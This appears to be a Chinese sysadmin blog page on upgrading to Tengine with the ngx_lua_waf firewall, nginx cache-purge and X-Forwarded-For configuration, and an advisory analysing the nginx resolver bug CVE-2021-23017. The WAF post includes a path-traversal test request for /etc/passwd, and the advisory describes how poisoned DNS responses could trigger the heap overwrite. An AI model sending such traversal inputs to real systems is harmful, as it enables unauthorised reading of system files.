Skip to content


升级安装Tenginer2.3.3+lua+ngx_lua支持WAF防护功能

1、安装或升级autoconf

安装jemalloc是可能出现autoconf版本不够高
configure.ac:2: error: Autoconf version 2.68 or higher is required
configure.ac:2: the top level
autom4te: /usr/bin/m4 failed with exit status: 63
Error 0 in autoconf

升级autoconf
yum -y install autogen autoconf
Package autoconf-2.63-5.1.el6.noarch already installed and latest version
Nothing to do

查询当前autoconf版本
rpm -qf /usr/bin/autoconf
autoconf-2.63-5.1.el6.noarch

下载并编译
wget ftp://ftp.gnu.org/gnu/autoconf/autoconf-2.68.tar.gz
tar zxvf autoconf-2.68.tar.gz
cd autoconf-2.68
./configure –prefix=/usr/

卸载当前版本
rpm -e –nodeps autoconf-2.63

安装
make && make install

查看版本
autoconf -V
autoconf (GNU Autoconf) 2.68
cd ..

2、jemalloc安装

github 地址 :https://github.com/jemalloc/jemalloc/tree/master
编译安装jemalloc

wget –no-check-certificate https://github.com/jemalloc/jemalloc/releases/download/5.2.1/jemalloc-5.2.1.tar.bz2

wget -O jemalloc-5.2.1.tar.gz https://github.com/jemalloc/jemalloc/archive/refs/tags/5.2.1.tar.gz
tar -xf jemalloc-5.2.1.tar.gz && cd jemalloc-5.2.1
./autogen.sh

make -j8
make install

如果/usr/local/lib 没在ldconfig中
echo ‘/usr/local/lib’ > /etc/ld.so.conf.d/local.conf
ldconfig
cd ..

3、lua安装

curl -R -O http://www.lua.org/ftp/lua-5.4.3.tar.gz
tar zxf lua-5.4.3.tar.gz
cd lua-5.4.3
make linux
make install
cd ..

4、安装luajit

然后从https://github.com/openresty/luajit2下载安装
https://github.com/openresty/luajit2/archive/refs/heads/v2.1-agentzh.zip
unzip luajit2-2.1-agentzh.zip
cd luajit2-2.1-agentzh
make && make install
cd ..

5、安装tengine

tengine 编译说明
–prefix= 指向安装目录
–sbin-path 指向(执行)程序文件(nginx)
–conf-path= 指向配置文件(nginx.conf)
–error-log-path= 指向错误日志目录
–pid-path= 指向pid文件(nginx.pid)
–lock-path= 指向lock文件(nginx.lock)(安装文件锁定,防止安装文件被别人利用,或自己误操作。)
–user= 指定程序运行时的非特权用户
–group= 指定程序运行时的非特权用户组
–builddir= 指向编译目录
–with-rtsig_module 启用rtsig模块支持(实时信号)
–with-select_module 启用select模块支持(一种轮询模式,不推荐在高载环境下使用)禁用:–without-select_module
–with-poll_module 启用poll模块支持(功能与select相同,与select特性相同,为一种轮询模式,不推荐在高载环境下使用)
–with-file-aio 启用file aio支持(一种APL文件传输格式)
–with-ipv6 启用ipv6支持
–with-http_ssl_module 启用ngx_http_ssl_module支持(使支持https请求,需已安装openssl)
–with-http_realip_module 启用ngx_http_realip_module支持(这个模块允许从请求标头更改客户端的IP地址值,默认为关)
–with-http_addition_module 启用ngx_http_addition_module支持(作为一个输出过滤器,支持不完全缓冲,分部分响应请求)
–with-http_xslt_module 启用ngx_http_xslt_module支持(过滤转换XML请求)
–with-http_image_filter_module 启用ngx_http_image_filter_module支持(传输JPEG/GIF/PNG 图片的一个过滤器)(默认为不启用。gd库要用到)
–with-http_geoip_module 启用ngx_http_geoip_module支持(该模块创建基于与MaxMind GeoIP二进制文件相配的客户端IP地址的ngx_http_geoip_module变量)
–with-http_sub_module 启用ngx_http_sub_module支持(允许用一些其他文本替换nginx响应中的一些文本)
–with-http_dav_module 启用ngx_http_dav_module支持(增加PUT,DELETE,MKCOL:创建集合,COPY和MOVE方法)默认情况下为关闭,需编译开启
–with-http_flv_module 启用ngx_http_flv_module支持(提供寻求内存使用基于时间的偏移量文件)
–with-http_gzip_static_module 启用ngx_http_gzip_static_module支持(在线实时压缩输出数据流)
–with-http_random_index_module 启用ngx_http_random_index_module支持(从目录中随机挑选一个目录索引)
–with-http_secure_link_module 启用ngx_http_secure_link_module支持(计算和检查要求所需的安全链接网址)
–with-http_degradation_module 启用ngx_http_degradation_module支持(允许在内存不足的情况下返回204或444码)
–with-http_stub_status_module 启用ngx_http_stub_status_module支持(获取nginx自上次启动以来的工作状态)
–without-http_charset_module 禁用ngx_http_charset_module支持(重新编码web页面,但只能是一个方向–服务器端到客户端,并且只有一个字节的编码可以被重新编码)
–without-http_gzip_module 禁用ngx_http_gzip_module支持(该模块同-with-http_gzip_static_module功能一样)
–without-http_ssi_module 禁用ngx_http_ssi_module支持(该模块提供了一个在输入端处理处理服务器包含文件(SSI)的过滤器,目前支持SSI命令的列表是不完整的)
–without-http_userid_module 禁用ngx_http_userid_module支持(该模块用来处理用来确定客户端后续请求的cookies)
–without-http_access_module 禁用ngx_http_access_module支持(该模块提供了一个简单的基于主机的访问控制。允许/拒绝基于ip地址)
–without-http_auth_basic_module禁用ngx_http_auth_basic_module(该模块是可以使用用户名和密码基于http基本认证方法来保护你的站点或其部分内容)
–without-http_autoindex_module 禁用disable ngx_http_autoindex_module支持(该模块用于自动生成目录列表,只在ngx_http_index_module模块未找到索引文件时发出请求。)
–without-http_geo_module 禁用ngx_http_geo_module支持(创建一些变量,其值依赖于客户端的IP地址)
–without-http_map_module 禁用ngx_http_map_module支持(使用任意的键/值对设置配置变量)
–without-http_split_clients_module 禁用ngx_http_split_clients_module支持(该模块用来基于某些条件划分用户。条件如:ip地址、报头、cookies等等)
–without-http_referer_module 禁用disable ngx_http_referer_module支持(该模块用来过滤请求,拒绝报头中Referer值不正确的请求)
–without-http_rewrite_module 禁用ngx_http_rewrite_module支持(该模块允许使用正则表达式改变URI,并且根据变量来转向以及选择配置。如果在server级 别设置该选项,那么他们将在 location之前生效。如果在location还有更进一步的重写规则,location部分的规则依然会被执行。如果这个URI重写是因为 location部分的规则造成的,那么 location部分会再次被执行作为新的URI。 这个循环会执行10次,然后Nginx会返回一个500错误。)
–without-http_proxy_module 禁用ngx_http_proxy_module支持(有关代理服务器)
–without-http_fastcgi_module 禁用ngx_http_fastcgi_module支持(该模块允许Nginx 与FastCGI 进程交互,并通过传递参数来控制FastCGI 进程工作。 )FastCGI一个常驻型的公共网关接口。
–without-http_uwsgi_module 禁用ngx_http_uwsgi_module支持(该模块用来医用uwsgi协议,uWSGI服务器相关)
–without-http_scgi_module 禁用ngx_http_scgi_module支持(该模块用来启用SCGI协议支持,SCGI协议是CGI协议的替代。它是一种应用程序与HTTP服务接口标准。它有些像FastCGI但他的设计 更容易实现。)
–without-http_memcached_module 禁用ngx_http_memcached_module支持(该模块用来提供简单的缓存,以提高系统效率)
-without-http_limit_zone_module 禁用ngx_http_limit_zone_module支持(该模块可以针对条件,进行会话的并发连接数控制)
–without-http_limit_req_module 禁用ngx_http_limit_req_module支持(该模块允许你对于一个地址进行请求数量的限制用一个给定的session或一个特定的事件)
–without-http_empty_gif_module 禁用ngx_http_empty_gif_module支持(该模块在内存中常驻了一个1*1的透明GIF图像,可以被非常快速的调用)
–without-http_browser_module 禁用ngx_http_browser_module支持(该模块用来创建依赖于请求报头的值。如果浏览器为modern ,则$modern_browser等于modern_browser_value指令分配的值;如 果浏览器为old,则$ancient_browser等于 ancient_browser_value指令分配的值;如果浏览器为 MSIE中的任意版本,则 $msie等于1)
–without-http_upstream_ip_hash_module 禁用ngx_http_upstream_ip_hash_module支持(该模块用于简单的负载均衡)
–with-http_perl_module 启用ngx_http_perl_module支持(该模块使nginx可以直接使用perl或通过ssi调用perl)
–with-perl_modules_path= 设定perl模块路径
–with-perl= 设定perl库文件路径
–http-log-path= 设定access log路径
–http-client-body-temp-path= 设定http客户端请求临时文件路径
–http-proxy-temp-path= 设定http代理临时文件路径
–http-fastcgi-temp-path= 设定http fastcgi临时文件路径
–http-uwsgi-temp-path= 设定http uwsgi临时文件路径
–http-scgi-temp-path= 设定http scgi临时文件路径
-without-http 禁用http server功能
–without-http-cache 禁用http cache功能
–with-mail 启用POP3/IMAP4/SMTP代理模块支持
–with-mail_ssl_module 启用ngx_mail_ssl_module支持
–without-mail_pop3_module 禁用pop3协议(POP3即邮局协议的第3个版本,它是规定个人计算机如何连接到互联网上的邮件服务器进行收发邮件的协议。是因特网电子邮件的第一个离 线协议标 准,POP3协议允许用户从服务器上把邮件存储到本地主机上,同时根据客户端的操作删除或保存在邮件服务器上的邮件。POP3协议是TCP/IP协议族中 的一员,主要用于 支持使用客户端远程管理在服务器上的电子邮件)
–without-mail_imap_module 禁用imap协议(一种邮件获取协议。它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。IMAP协议运行在 TCP/IP协议之上, 使用的端口是143。它与POP3协议的主要区别是用户可以不用把所有的邮件全部下载,可以通过客户端直接对服务器上的邮件进行操作。)
–without-mail_smtp_module 禁用smtp协议(SMTP即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式。SMTP协议属于 TCP/IP协议族,它帮助每台计算机在发送或中转信件时找到下一个目的地。)
–with-google_perftools_module 启用ngx_google_perftools_module支持(调试用,剖析程序性能瓶颈)
–with-cpp_test_module 启用ngx_cpp_test_module支持
–add-module= 启用外部模块支持
–with-cc= 指向C编译器路径
–with-cpp= 指向C预处理路径
–with-cc-opt= 设置C编译器参数(PCRE库,需要指定–with-cc-opt=”-I /usr/local/include”,如果使用select()函数则需要同时增加文件描述符数量,可以通过–with-cc- opt=”-D FD_SETSIZE=2048”指定。)
–with-ld-opt= 设置连接文件参数。(PCRE库,需要指定–with-ld-opt=”-L /usr/local/lib”。)
–with-cpu-opt= 指定编译的CPU,可用的值为: pentium, pentiumpro, pentium3, pentium4, athlon, opteron, amd64, sparc32, sparc64, ppc64
–without-pcre 禁用pcre库
–with-pcre 启用pcre库
–with-pcre= 指向pcre库文件目录
–with-pcre-opt= 在编译时为pcre库设置附加参数
–with-md5= 指向md5库文件目录(消息摘要算法第五版,用以提供消息的完整性保护)
–with-md5-opt= 在编译时为md5库设置附加参数
–with-md5-asm 使用md5汇编源
–with-sha1= 指向sha1库目录(数字签名算法,主要用于数字签名)
–with-sha1-opt= 在编译时为sha1库设置附加参数
–with-sha1-asm 使用sha1汇编源
–with-zlib= 指向zlib库目录
–with-zlib-opt= 在编译时为zlib设置附加参数
–with-zlib-asm= 为指定的CPU使用zlib汇编源进行优化,CPU类型为pentium, pentiumpro
–with-libatomic 为原子内存的更新操作的实现提供一个架构
–with-libatomic= 指向libatomic_ops安装目录
–with-openssl= 指向openssl安装目录
–with-openssl-opt 在编译时为openssl设置附加参数
–with-debug 启用debug日志

wget http://tengine.taobao.org/download/tengine-2.3.3.tar.gz
tar zxvf tengine-2.3.3.tar.gz
cd tengine-2.3.3

./configure –user=www –group=website –prefix=/opt/tengine-2.3.3 \
–with-http_ssl_module –with-http_v2_module –with-http_realip_module –with-http_addition_module \
–with-http_geoip_module \
–with-http_gzip_static_module \
–with-http_auth_request_module \
–with-http_secure_link_module \
–with-http_degradation_module \
–with-http_stub_status_module \
–add-module=modules/ngx_http_concat_module \
–add-module=modules/ngx_http_footer_filter_module \
–add-module=modules/ngx_http_proxy_connect_module \
–add-module=modules/ngx_http_reqstat_module \
–add-module=modules/ngx_http_sysguard_module \
–add-module=modules/ngx_http_trim_filter_module \
–add-module=modules/ngx_http_upstream_check_module \
–add-module=modules/ngx_http_upstream_consistent_hash_module \
–add-module=modules/ngx_http_upstream_dynamic_module \
–add-module=modules/ngx_http_upstream_dyups_module \
–add-module=modules/ngx_http_upstream_session_sticky_module \
–add-module=modules/ngx_http_upstream_vnswrr_module \
–add-module=modules/ngx_http_user_agent_module \
–add-module=modules/ngx_multi_upstream_module \
–with-jemalloc \
–with-http_lua_module \
–with-luajit-lib=/usr/local/lib/ –with-luajit-inc=/usr/local/include/luajit-2.1/ –with-ld-opt=-Wl,-rpath,/usr/local/lib

make -j4
make install

cd /opt/tengine-2.3.3/
sbin/nginx -V
Tengine version: Tengine/2.3.3
nginx version: nginx/1.18.0
built by gcc 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)
built with OpenSSL 1.0.2u 20 Dec 2019
TLS SNI support enabled
configure arguments: –user=www –group=website –prefix=/opt/tengine-2.3.3 –with-http_ssl_module –with-http_v2_module –with-http_realip_module –with-http_addition_module –with-http_geoip_module –with-http_gzip_static_module –with-http_auth_request_module –with-http_secure_link_module –with-http_degradation_module –with-http_stub_status_module –add-module=modules/ngx_http_concat_module –add-module=modules/ngx_http_footer_filter_module –add-module=modules/ngx_http_proxy_connect_module –add-module=modules/ngx_http_reqstat_module –add-module=modules/ngx_http_sysguard_module –add-module=modules/ngx_http_trim_filter_module –add-module=modules/ngx_http_upstream_check_module –add-module=modules/ngx_http_upstream_consistent_hash_module –add-module=modules/ngx_http_upstream_dynamic_module –add-module=modules/ngx_http_upstream_dyups_module –add-module=modules/ngx_http_upstream_session_sticky_module –add-module=modules/ngx_http_upstream_vnswrr_module –add-module=modules/ngx_http_user_agent_module –add-module=modules/ngx_multi_upstream_module –with-jemalloc –with-http_lua_module –with-luajit-lib=/usr/local/lib/ –with-luajit-inc=/usr/local/include/luajit-2.1/ –with-ld-opt=-Wl,-rpath,/usr/local/lib

查看安装的模块

sbin/nginx -m
Tengine version: Tengine/2.3.3
nginx version: nginx/1.18.0
nginx: loaded modules:
nginx: ngx_core_module (static)
nginx: ngx_errlog_module (static)
nginx: ngx_conf_module (static)
nginx: ngx_openssl_module (static)
nginx: ngx_regex_module (static)
nginx: ngx_events_module (static)
nginx: ngx_event_core_module (static)
nginx: ngx_epoll_module (static)
nginx: ngx_procs_module (static)
nginx: ngx_proc_core_module (static)
nginx: ngx_http_module (static)
nginx: ngx_http_core_module (static)
nginx: ngx_http_log_module (static)
nginx: ngx_http_upstream_module (static)
nginx: ngx_http_v2_module (static)
nginx: ngx_http_static_module (static)
nginx: ngx_http_gzip_static_module (static)
nginx: ngx_http_autoindex_module (static)
nginx: ngx_http_index_module (static)
nginx: ngx_http_mirror_module (static)
nginx: ngx_http_try_files_module (static)
nginx: ngx_http_auth_request_module (static)
nginx: ngx_http_auth_basic_module (static)
nginx: ngx_http_access_module (static)
nginx: ngx_http_limit_conn_module (static)
nginx: ngx_http_limit_req_module (static)
nginx: ngx_http_realip_module (static)
nginx: ngx_http_geo_module (static)
nginx: ngx_http_geoip_module (static)
nginx: ngx_http_map_module (static)
nginx: ngx_http_split_clients_module (static)
nginx: ngx_http_referer_module (static)
nginx: ngx_http_rewrite_module (static)
nginx: ngx_http_ssl_module (static)
nginx: ngx_http_proxy_module (static)
nginx: ngx_http_fastcgi_module (static)
nginx: ngx_http_uwsgi_module (static)
nginx: ngx_http_scgi_module (static)
nginx: ngx_http_grpc_module (static)
nginx: ngx_http_memcached_module (static)
nginx: ngx_http_empty_gif_module (static)
nginx: ngx_http_browser_module (static)
nginx: ngx_http_secure_link_module (static)
nginx: ngx_http_degradation_module (static)
nginx: ngx_http_upstream_hash_module (static)
nginx: ngx_http_upstream_ip_hash_module (static)
nginx: ngx_http_upstream_least_conn_module (static)
nginx: ngx_http_upstream_random_module (static)
nginx: ngx_http_upstream_keepalive_module (static)
nginx: ngx_http_upstream_zone_module (static)
nginx: ngx_http_stub_status_module (static)
nginx: ngx_http_proxy_connect_module (static)
nginx: ngx_http_reqstat_module (static)
nginx: ngx_http_sysguard_module (static)
nginx: ngx_http_upstream_check_module (static)
nginx: ngx_http_upstream_consistent_hash_module (static)
nginx: ngx_http_upstream_dynamic_module (static)
nginx: ngx_http_dyups_module (static)
nginx: ngx_http_upstream_vnswrr_module (static)
nginx: ngx_http_user_agent_module (static)
nginx: ngx_http_multi_upstream_module (static)
nginx: ngx_http_write_filter_module (static)
nginx: ngx_http_header_filter_module (static)
nginx: ngx_http_chunked_filter_module (static)
nginx: ngx_http_v2_filter_module (static)
nginx: ngx_http_range_header_filter_module (static)
nginx: ngx_http_gzip_filter_module (static)
nginx: ngx_http_postpone_filter_module (static)
nginx: ngx_http_ssi_filter_module (static)
nginx: ngx_http_charset_filter_module (static)
nginx: ngx_http_addition_filter_module (static)
nginx: ngx_http_userid_filter_module (static)
nginx: ngx_http_headers_filter_module (static)
nginx: ngx_http_concat_module (static)
nginx: ngx_http_footer_filter_module (static)
nginx: ngx_http_trim_filter_module (static)
nginx: ngx_http_upstream_session_sticky_module (static)
nginx: ngx_http_lua_module (static)
nginx: ngx_http_copy_filter_module (static)
nginx: ngx_http_range_body_filter_module (static)
nginx: ngx_http_not_modified_filter_module (static)
nginx: the configuration file /opt/tengine-2.3.3/conf/nginx.conf syntax is ok
nginx: configuration file /opt/tengine-2.3.3/conf/nginx.conf test is successful

cd /opt/nginx/conf
cp -ar ssl ssl.conf webip.conf geo.*.conf GeoIP.dat manageip.conf fcgi.conf htpasswd nginx.conf /opt/tengine-2.3.3/conf/
/opt/tengine-2.3.3/sbin/nginx -t -c /opt/tengine-2.3.3/conf/nginx.conf

chown www:website /opt/tengine-2.3.3/logs/
chown www:website /opt/nginx/conf/

删除旧的nginx软链接,给tengine增加软链接
rm /opt/nginx
ln -s /opt/tengine-2.3.3 /opt/nginx

关闭tengine
/opt/nginx/sbin/nginx -s quit
启动tengine
/opt/nginx/sbin/nginx
重启tengine
/opt/nginx/sbin/nginx -s reload

6、下载和配置 ngx_lua_waf

nginx下常见的开源 waf 有 mod_security、naxsi、ngx_lua_waf 这三个,ngx_lua_waf 性能高和易用性强,基本上零配置,而且常见的攻击类型都能防御,是比较省心的选择。

其git 地址为 https://github.com/loveshell/ngx_lua_waf
wget –no-check-certificate https://github.com/loveshell/ngx_lua_waf/archive/master.zip
unzip master.zip
mv ngx_lua_waf-master /opt/tengine-2.3.3/conf/waf
chgrp -R website waf
chmod -R 0775 waf

mkdir -p /opt/nginx/logs/hack
chown www:website /opt/nginx/logs/hack
chmod -R 775 /opt/nginx/logs/hack

在nginx.conf的http段添加
lua_package_path “/opt/nginx/conf/waf/?.lua”;
lua_shared_dict limit 10m;
init_by_lua_file /opt/nginx/conf/waf/init.lua;
access_by_lua_file /opt/nginx/conf/waf/waf.lua;
配置config.lua里的waf规则目录(一般在waf/conf/目录下)

RulePath = "/opt/nginx/conf/waf/wafconf/"

然后重启nginx即可
部署完毕可以尝试如下命令:

curl http://xxxx/test.php?id=../etc/passwd
日志文件名称格式如下:虚拟主机名_sec.log

Posted in Nginx.

Tagged with , , .


ngx_cache_puage更新缓存404错误

在清除缓存时部分成功部分失败,有时通过浏览器可以但用程序就失败.

location ~ /purge(/.*)
{
    #设置只允许指定的IP或IP段才可以清除URL缓存。
    allow            127.0.0.1;
    allow            192.168.0.0/16;
    include manageip.conf;
    deny            all;
    proxy_cache_purge    cache_www   $host$1$is_args$args;
    error_page 405 =200 /purge$1; #处理squidclient purge的时候出现的405错误
}    
if ( $request_method = "PURGE" ) {
    rewrite ^(.*)$ /purge$1 last;
}
模拟测试
curl -H "Host:blog.c1gstudio.com" -H "User-Agent: c1gtest"  -X PURGE https://blog.c1gstudio.com/static/image/common/qrcode.png

404 Not Found

404 Not Found


openresty

去掉权限,并输出url,发现没有$1的输出
location ~ /purge(/.*)
{
#设置只允许指定的IP或IP段才可以清除URL缓存。
allow 127.0.0.1;
allow 192.168.0.0/16;
echo cache_bbs $host$1$is_args$args;
error_page 405 =200 /purge$1; #处理squidclient purge的时候出现的405错误
}

curl -H “Host:blog.c1gstudio.com” -H “User-Agent: c1gtest” -X PURGE https://blog.c1gstudio.com/static/image/common/qrcode.png
cache_bbs: blog.c1gstudio.com

可能是$1被其它脚本占用,重新定义一个 $purgeurl变量
location ~ /purge(?/.*)
{
    #设置只允许指定的IP或IP段才可以清除URL缓存。
    allow        127.0.0.1;
    allow        192.168.0.0/16;
    echo    cache_bbs   $host$purgeurl$is_args$args;
    error_page 405 =200 /purge$1; #处理squidclient purge的时候出现的405错误
}    

测试可以输出
curl -H "Host:blog.c1gstudio.com" -H "User-Agent: c1gtest"  -X PURGE https://blog.c1gstudio.com/static/image/common/qrcode.png
cache_bbs: blog.c1gstudio.com/static/image/common/qrcode.png
最后修改并测试成功
location ~ /purge(?/.*)
{
    #设置只允许指定的IP或IP段才可以清除URL缓存。
    allow        127.0.0.1;
    allow        192.168.0.0/16;
    include manageip.conf;
    deny            all;
    proxy_cache_purge    cache_bbs   $host$purgeurl$is_args$args;
    error_page 405 =200 /purge$purgeurl; #处理squidclient purge的时候出现的405错误
}    
if ( $request_method = "PURGE" ) {
    rewrite ^(.*)$ /purge$1 last;
}      

curl -H "Host:blog.c1gstudio.com" -H "User-Agent: c1gtest"  -X PURGE https://blog.c1gstudio.com/static/image/common/qrcode.png

Successful purge

Successful purge


Key : blog.c1gstudio.com/static/image/common/qrcode.png
Path: /dev/shm/nginx/proxy_cache_bbs/1/92/9a7ee4d7167bc0ead33f4ccdb4439921
openresty/1.19.9.1

Posted in Nginx.

Tagged with .


nginx用map获取X-Forwarded-For中的客户端ipv4/ipv6地址

网上搜搜连个像样的取ipv6代码也没有,这里写一个.如果有合法的http_x_forwarder_for就取第一或最后一个,没有则取直连IP.


$ForwardedFirstIp 容易伪造,但可以做流量控制用
$ForwardedLastIp 在前端代理可信情况下,可以做IP限制用

http
{

#获取左边第一个
map $http_x_forwarded_for $ForwardedFirstIp {
    default $remote_addr;
    ~^(?P
[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+|[0-9a-fA-F]+:[0-9a-fA-F:]+:[0-9a-fA-F\.]+),?.*$ $firstAddr;
}

#获取右边第一个
map $http_x_forwarded_for $ForwardedLastIp {
    default $remote_addr;
    ~,?(?P
[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+|[0-9a-fA-F]+:[0-9a-fA-F:]+:[0-9a-fA-F\.]+)$ $lastAddr;
}

}

支持ipv4;

支持ipv6缩写如 1080::8:800:200C:417A
支持正常ipv6如 2409:8907:a125:2e4d:c5d:9d59:c2d5:a13a
支技ipv4映射地址如 0:0:0:0:0:ffff:192.168.56.10
但不支持::简写回环等如 ::1 , ::192.168.56.10

2022/1/4更新
更严谨的正则语法
支持::1回环,支持 ::192.168.56.10
格式不正确返回空
没有forwared时取remote_addr

map $http_x_forwarded_for $ForwardedFirstIp {
    "" $remote_addr;
    "~(?([0-9]{1,3}\.){3}[0-9]{1,3}|[0-9a-fA-F]{0,4}:[0-9a-fA-F:]{0,30}:[0-9a-fA-F\.]{1,15}),?.*$" $firstAddr;
}
map $http_x_forwarded_for $ForwardedLastIp {
    "" $remote_addr;
    "~,?\s?(?([0-9]{1,3}\.){3}[0-9]{1,3}|[0-9a-fA-F]{0,4}:[0-9a-fA-F:]{0,30}:[0-9a-fA-F\.]{1,15})$" $lastAddr;
}

2022/1/13更新

支持[]包含的ipv6块



    map $http_x_forwarded_for $ForwardedFirstIp {
        default $remote_addr;
        "~\[?(?<firstAddr>([0-9]{1,3}\.){3}[0-9]{1,3}|[0-9a-fA-F]{0,4}:[0-9a-fA-F:]{0,30}:[0-9a-fA-F\.]{1,15})\]?,?.*$" $firstAddr;
    }
    map $http_x_forwarded_for $ForwardedLastIp {
        default $remote_addr;
        "~,?\s?\[?(?<lastAddr>([0-9]{1,3}\.){3}[0-9]{1,3}|[0-9a-fA-F]{0,4}:[0-9a-fA-F:]{0,30}:[0-9a-fA-F\.]{1,15})\]?$" $lastAddr;
    }

Posted in Nginx.


nginx resolver 拒绝服务漏洞CVE-2021-23017

之前有过一个 nginx resolver 拒绝服务漏洞(CVE-2016-0742),现在又出了一个.

如果没用resolver 参数,那没影响,可以升到最新nginx-1.21.0  来解决.

Changes with nginx 1.21.0                                        25 May 2021

    *) Security: 1-byte memory overwrite might occur during DNS server
       response processing if the "resolver" directive was used, allowing an
       attacker who is able to forge UDP packets from the DNS server to
       cause worker process crash or, potentially, arbitrary code execution
       (CVE-2021-23017).

概述

ngx_resolver_copy()在处理DNS响应时出现一个off-by-one错误,利用该漏洞网络攻击者可以在堆分配的缓冲区中写一个点字符(.’, 0x2E)导致超出范围。 所有配置解析器语法的(resolver xxxx)Nginx实例可以通过DNS响应(响应来自Nginx的DNS请求)来触发该漏洞。 特制数据包允许使用0x2E覆盖下一个堆块元数据的最低有效字节,利用该漏洞攻击者,可以实现Ddos拒绝服务,甚至可能实现远程代码执行。

由于Nginx中缺乏DNS欺骗缓解措施,并且在检查DNS事务ID之前调用了易受攻击的功能,因此远程攻击者可能能够通向中毒服务器注入受毒的DNS响应来利用此漏洞。

漏洞影响

严重等级: 高

漏洞向量: 远程/DNS

确认的受影响版本: 0.6.18-1.20.0

确认的修补版本: 1.21.0,1.20.1

供应商: F5,Inc.

状态: 公开

CVE: CVE-2021-23017

CWE: 193

CVSS得分: 8.1

CVSS向量:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

漏洞分析

当Nginx配置中设置resolver时,Nginx DNS解析器(core/ngx_resolver.c)用于通过DNS解析多个模块的主机名。

Nginx中通过ngx_resolver_copy()调用来验证和解压缩DNS响应中包含的每个DNS域名,接收网络数据包作为输入和指向正在处理的名称的指针,并在成功后返回指向包含未压缩名称的新分配缓冲区的指针。调用整体上分两步完成的,

1)计算未压缩的域名大小的长度len并验证输入包的合法性,丢弃包含大于128个指针或包含超出输入缓冲区边界的域名。

2)分配输出缓冲区,并将未压缩的域名复制到其中。

第1部分中的大小计算与第2部分中的未压缩的域名之间的不匹配,导致一个len的一个off-by-one错误,导致允许以一个字节为单位写一个点字符超出name->data的边界。

当压缩名称的最后一部分包含一个指向NUL字节的指针时,就会发生计算错误。 尽管计算步骤仅考虑标签之间的点,但每次处理标签并且接着的字符为非NUL时,解压缩步骤都会写入一个点字符。当标签后跟指向NUL字节的指针时,解压缩过程将:

// 1) copy the label to the output buffer,

ngx_strlow(dst, src, n);

dst += n;

src += n;

// 2) read next character,

n = *src++;

// 3) as its a pointer, its not NUL,

if (n != 0) {

// 4) so a dot character that was not accounted for is written out of bounds

*dst++ = ‘.’;

}

// 5) Afterwards, the pointer is followed,

if (n & 0xc0) {

n = ((n & 0x3f) << 8) + *src;

src = &buf[n];

n = *src++;

}

// 6) and a NULL byte is found, signaling the end of the function

if (n == 0) {

name->len = dst – name->data;

return NGX_OK;

}

如果计算的大小恰好与堆块大小对齐,则超出范围的点字符将覆盖下一个堆块长度的元数据中的最低有效字节。这可能会直接导致下一个堆块的大小写入,但还会覆盖3个标志,从而导致 PREV_INUSE被清除并 IS_MMAPPED被设置。

==7863== Invalid write of size 1

==7863== at 0x137C2E: ngx_resolver_copy (ngx_resolver.c:4018)

==7863== by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)

==7863== by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:1844)

==7863== by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)

==7863== by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)

==7863== by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)

==7863== by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)

==7863== by 0x1474DA: ngx_spawn_process (ngx_process.c:199)

==7863== by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:344)

==7863== by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:130)

==7863== by 0x12237F: main (Nginx.c:383)

==7863== Address 0x4bbcfb8 is 0 bytes after a block of size 24 alloc’d

==7863== at 0x483E77F: malloc (vg_replace_malloc.c:307)

==7863== by 0x1448C4: ngx_alloc (ngx_alloc.c:22)

==7863== by 0x137AE4: ngx_resolver_alloc (ngx_resolver.c:4119)

==7863== by 0x137B26: ngx_resolver_copy (ngx_resolver.c:3994)

==7863== by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)

==7863== by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:1844)

==7863== by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)

==7863== by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)

==7863== by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)

==7863== by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)

==7863== by 0x1474DA: ngx_spawn_process (ngx_process.c:199)

==7863== by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:344)

==7863== by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:130)

虽然目前还没有Poc出来,理论上该漏洞可以被用来进行远程代码执行。

攻击向量分析

DNS响应可以通过多种方式触发漏洞。

首先,Nginx必须发送了DNS请求,并且必须等待响应。 然后,可以在DNS响应的多个部分进行投毒:

DNS问题QNAME,

DNS回答名称,

DNS会回答RDATA以获得CNAME和SRV响应,

通过使用多个中毒的QNAME,NAME或RDATA值制作响应,可以在处理响应时多次击中易受攻击的函数,从而有效地执行多次脱机写入。

此外,当攻击者提供中毒的CNAME时,它将以递归方式解决,从而在执行过程中触发了额外的OOB写操作 ngx_resolve_name_locked() 调用ngx_strlow()(ngx_resolver.c:594)和其他OOB读取期间 ngx_resolver_dup()(ngx_resolver.c:790)和 ngx_crc32_short()(ngx_resolver.c:596)。

用于“example.net”请求的DNS响应示例负载,其中包含被污染的CNAME:

稍微不同的有效负载(poc.py中的有效负载)填充了足够的字节以覆盖 next_chunk.mchunk_size带点的最低有效字节:

24字节的标签导致分配了24字节的缓冲区,该缓冲区填充有24字节+一个超出范围的点字符。

漏洞修复和解决

通过向域名解析时,在域名末尾写入的伪造的点字符分配一个额外的字节可以缓解此问题。

受漏洞影响的配置

daemon off;

http{

access_log logs/access.log;

server{

listen 8080;

location / {

resolver 127.0.0.1:1053;

set $dns example.net;

proxy_pass $dns;

}

}

}

events {

worker_connections 1024;

}

https://baijiahao.baidu.com/s?id=1700787515121182676&wfr=spider&for=pc

Posted in 安全通告.


CVE-2021-3156:Sudo 堆缓冲区溢出漏洞通告

0x01漏洞简述

